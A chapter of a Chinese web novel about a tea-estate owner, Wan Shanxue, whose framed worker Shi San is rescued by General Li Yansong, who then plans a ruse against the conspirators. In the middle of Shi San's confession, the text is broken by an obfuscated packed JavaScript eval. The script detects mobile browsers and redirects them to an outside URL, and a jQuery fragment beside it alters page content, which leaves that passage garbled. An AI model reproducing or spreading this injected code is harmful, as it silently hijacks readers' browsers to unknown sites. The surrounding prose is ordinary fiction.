花露捧着一只陶瓶到万山雪跟前，里面盛放着几支野杜鹃，枝桠歪扭却倔强，花开得热烈，粉紫一片，将整个屋子都照亮了几分。 万山雪接过来，将脸埋进去，深深一嗅。 抬起头时，却见花露满眼泪水，她递上一张字条，上面写着：石三大哥一定还活着。 方才的对话她显然都听去了。 宣颐在一旁瞧见，思索片刻说道：“花露言之有理。若他真的死了，尤弈定会带着铁证而来，逼着你绝望低头，方才的急赤白脸，反而说明他手里无实据。” 万山雪定神一想，确实如此。 她虽然与尤弈接触不多，却也能从崔明之与婆母的闲谈里，零零碎碎里大约拼凑出这个人的品性来，知道他最是得理不饶人的。 既拿不出“理”，说明他的确没有。 宣颐说道：“你莫要太忧虑了，他定会尽快找到线索的。” 万山雪知道她说的是谁，微笑着摇摇头。她心里的胜算，本就不在黎偃松。 他要周旋金弘的眼线，又受着伤，能有这番心意已是很好。 她赌的，是石三这个人的人品，还有她待他不保留的好。 只要他活着，听闻她因为他身陷囹圄、流言缠身，绝不会弃她不顾。 同一片晨光，落在晋陵城东一处闹中取静的宅院内室，却是另一番景象。 药气混合着淡淡的血腥味弥漫，黎偃松赤着上身坐在榻边，身后的军医在给他缝合伤口。 他脸色苍白，神色却极安宁，仿佛那道狰狞的伤口不是长在自己身上。 景明洲抱着双臂靠在门边儿，嗑一颗，斜他一眼，再嗑一颗，又斜他一眼。 “顾叔，”他将瓜子壳丢进碟中，“您行医多年，千奇百怪的事情经见不少了吧？像这种挨了一刀不找大夫淋着雨去找美人儿的，您见过多少个？顾叔看看，那伤口经过美人一滴泪，是不是长出花来了？” 说着又凑近黎偃松道：“嗳你莫不是觉得顾叔手艺不精？非得那位崔二奶奶亲手料理，伤才能好？” 黎偃松知道这事儿落在别人眼里有些荒唐，便任他调侃。 他无法否认，冒雨前去，固然是放心不下，怕她听了那些流言蜚语会崩溃，但内心深处，确有隐秘的、连自己都耻于承认的“小心思”。 他想让她看见。 看见他的伤，他的痛，他的狼狈。 不是示弱，而是一种笨拙的坦诚。仿佛只有这样血肉模糊的呈现，才能抵消他口舌的笨拙，才能让她明白，他的心意并非一时兴起，是可以为之流血、为之拼命的沉重。 他也想看看她。 看看那个平日里冷静自持的女子，在直面他的伤口时，会不会有一丝动容，会不会撬开那坚硬外壳下哪怕一丝缝隙。 结果……很满意。 他闭了闭眼。她指尖的颤抖，泪滴的滚烫，还有最后那个几乎让他灵魂战栗的拥抱…… 顾大夫正低头剪纱布，闻言抬眼扫了黎偃松一眼，嘴角牵起淡淡的笑意：“那位崔二奶奶真是了得，伤口这样赫人，她还能稳住心神给将军包扎，已是难得。” 景明洲连忙阻拦道：“得了，您再夸，以后黎大将军再受伤可都要找人家包扎了。” “将军身上，不奇怪。”顾大夫笑道，“你们年轻不知道，黎家几代人，都这性子。当年老夫人随着老将军在北疆小住，老将军中箭，箭头还嵌在肉里，不肯让随行军医治疗，硬是扛到胜仗收尾，一路谈笑风生回营，一见到老太太，盖世英雄不做了，硬汉形象也不要了，非要让老太太看到他的伤心疼他不可…… “喔，”景明洲意味深长地笑了，“情种也代代相传。” 黎偃松终于开口，嗓音微哑：“明洲。” 顾军医笑了笑，不再多言。他将沾血的旧纱布团起，转身要丢掉。 黎偃松的目光，却死死跟着那只手。 看着它靠近布袋，看着它顿住，硬生生忍住了，没出声。 一旁的江心澜将这一切看在眼里，慢悠悠端起茶盏，吹去浮叶，笑道：“顾叔，听我一句劝，这纱布，您还是别扔的好。” 顾大夫的手顿在半空，疑惑道：“怎么？” “不然深更半夜，”江心澜抬眼，眼底藏着了然的光，“黎大将军还得偷摸去垃圾堆里，把它翻出来。” 景明洲一口茶水呛住，又是咳嗽又是笑。 黎偃松的耳根腾地红了，一路烧到脖颈。 “心澜，别胡说。” 江心澜将茶盏轻放，似笑非笑地望着他：“说什么？” “她如今仍是尤家妇，并非自由之身。”黎偃松的声音低了下去，那抹红晕却迟迟不退，“你们是自己人，知道便罢了，莫要宣扬，坏了她的清誉。” 江心澜啧啧叹道：“人呐，果然是亲疏远近有别。这些年我替你挡了多少桃花？也没听你担心过我的名声。” 黎偃松讪讪道：“江大小姐的名声好着呢。” “说正事，”江心澜敛去笑意，“该想法子给万姐姐递个准信，告诉她石三已经找到，让她安心，别白白受惊。” 景明洲点头，黎偃松却断然否决道：“不如将计就计，演一场苦肉计。让尤弈与崔福当众认罪，亲口供出构陷污蔑之罪。你们知道，判罪容易，可被他们毁了的名声，若不经他们自己亲口洗刷，会长长久久留在那些人的嘴里，成为茶余饭后的谈资。” 景明洲收起说笑的语气，说道：“确实是这样，可说着容易做起来难，如何能使他们甘愿认错，可是一桩难事。” 正说着话，陕万年脚步匆匆来了：“顾大夫，方才那石三昏迷中呕出一口鲜血，您快来看看，要不要紧。” 一伙人随即赶到偏房查看。 石三躺在厢房榻上，后脑还敷着冰帕。 他只睁着眼，怔怔望着房梁，一动不动，不知是醒是梦。 陕万年轻声唤道：“石兄弟，石兄弟，你这会儿觉得怎样了？” 连喊几声，他都直愣愣地没有反应。顾大夫连忙上前查看，施针灸，过了好一会儿，石三又呕出一口血来，眼神才彻底清明了。 顾大夫说道：“心口始终窝着一团气，这如何使得？你有什么就说出来，黎将军在这儿，定然会为你做主的。” 石三听见“黎将军”三个字，空茫的神色顿时肃穆起来，黎家忠烈名声，是举国皆知的，便要强撑着坐起。 “躺着。”黎偃松的手轻轻按在他肩上。 石三直直望着黎偃松，嘴唇抿得发白，眼底血丝未褪，像燃了一夜的炭火，火光已熄，余温仍灼。 黎偃松在榻边坐下，没有立刻开口。 他打量一番说道：“陕万年说，他找到你的时候，你正企图对尤弈和崔福下手。他们都有帮手，而你单枪匹马，两手空空。” 石三沉默。 “你可曾想过，若是他们没有及时出手，你这会儿已经成了刀下鬼。”黎偃松继续说道，“你的东家，她便要背负那些流言，死无对证。” 石三的肩膀骤然剧烈一颤。 他终于开口，声音嘶哑得如同砂石摩擦：“我实在忍不了……” “当初是尤弈他们找到我，说他们知道我兄嫂一家被灭门的真相。只要去茶园做事，他们便替我翻案，求一个真相。我不知道该不该信，却也没有别的地方可以诉冤。我认认真真干活，本本分分做人，总以为只要我够听话、够有用，他们终会兑现诺言……” 他哽住了。 “我后来才知道，他们从一开始，就在骗我。他们根本就是一伙的，不仅要将我捏在手里，还要利用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204192|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的死刑犯身份，拉万东家下地狱……” 他眼眶通红，却没有泪。 那火在心里烧得太久，泪早已熬干。 “我知道要除掉他们不容易，可我总得试试。我兄嫂一家人的冤情，只怕是此生难明，万东家她是个好人，我不愿意看她被他们设计陷害。若能帮她除了这两个害人精，我这一条命，豁出去也值了。” 黎偃松沉默了很久。 窗外花香阵阵，混着春末的热意飘进来。 “你兄嫂的案子，”黎偃松开口，“交给我，你的冤，我给你洗。” 石三猛地抬头。 “这桩灭门案我私底下查了，你父母去得早，长兄如父长嫂如母，你们一家子处得十分亲密，所以你绝无可能对自己的骨肉下这样的杀手。你逃脱逮捕后一路北上，想找一个能出头的清官伸张正义，却没能如愿，因为你发现，那人的势力远比你想象的要厉害。” 石三的眼泪淌了下来，说不出一句话来，许久才问道：“将军怎知其中缘由？我从未对任何人提起。” “推测。”黎偃松拍了拍他的肩膀，“你兄长捕蛇为生，往人迹罕至处去的比较多，而他必去的几个山头里，有两处金弘的秘密藏兵之处。” 石三的脸半明半暗，眼窝落着深影，可那双眼里的光，亮得灼人。那不是恨，不是怒，是一种更深、更沉的东西——像溺水之人，终于触到岸边的苇草，纵使指节攥得发白，也绝不肯再松开。 “你兄长之事，”黎偃松的声音放得极轻，“眼下尚不能公之于众。” 石三的眸光黯了一瞬。 “金弘仍是当朝丞相，与定国公吴险勾结多年，以晋陵、秀州为据点，囤兵储器，所图非小。此刻翻出，恐打草惊蛇，反让他们有转圜之机。” 黎偃松微微前倾身子。 “但有我黎家军在一日，这件事，我记下了。你兄嫂一家五口的性命，终有一日，必让他们血债血偿。” 石三喉结剧烈滚动。 他想说什么，嘴唇翕动，却发不出半点声音。 “还要替万东家谢谢你，你愿意为她拚命，她没有信错人。” 黎偃松忽然感慨极了，她总说自己一无所长，其实她的善心，便是最大的长处。 “黎将军，”石三哑声问，“我都听您的，眼下我能做什么？” “尤弈既说你已死，以此逼迫万山雪。我们不如将计就计。” “您是说——” “让他自以为得逞。”黎偃松望着他，“让他以为你已死，证据湮灭，万山雪孤立无援，金弘高枕无忧。让他们庆贺，让他们松懈，让他们自己……把藏在阴影里的手，伸到日光之下。” “可是，”他抬头，嗓音微涩，“万东家那边就要受牢狱之苦。” 黎偃松心头一痛，轻声道：“这份痛苦，来日我让他们加倍受着。” 黎偃松从厢房出来时，天色已近正午。 景明洲站在廊下等他，手里捏着一封快报。 “刚到的。”他把信递过来。 黎偃松读到末尾一行捎带的字，手指便顿住了。 崔明之回京了，几乎没有歇息便策马出城，直奔晋陵而来。 字字清晰，如针刺目。 黎偃松将快报折好，递还给景明洲。他的脸上没有表情，只眼底那点方才还温存的光，一点一点，沉了下去。 黎偃松转身，往院外走去。走了两步，又停下。 “石三这边，”他背对着他，语气听不出情绪，“你盯着。按计划行事。” “你还好吧？”景明洲有些不放心。 “他来看她，是好事。”黎偃松终于说，声音很轻，像是说给自己听的，“毕竟是夫妻。” 午时的阳光那样热烈，他走在其中，却只觉得一身孤清，寂寥得无法言说。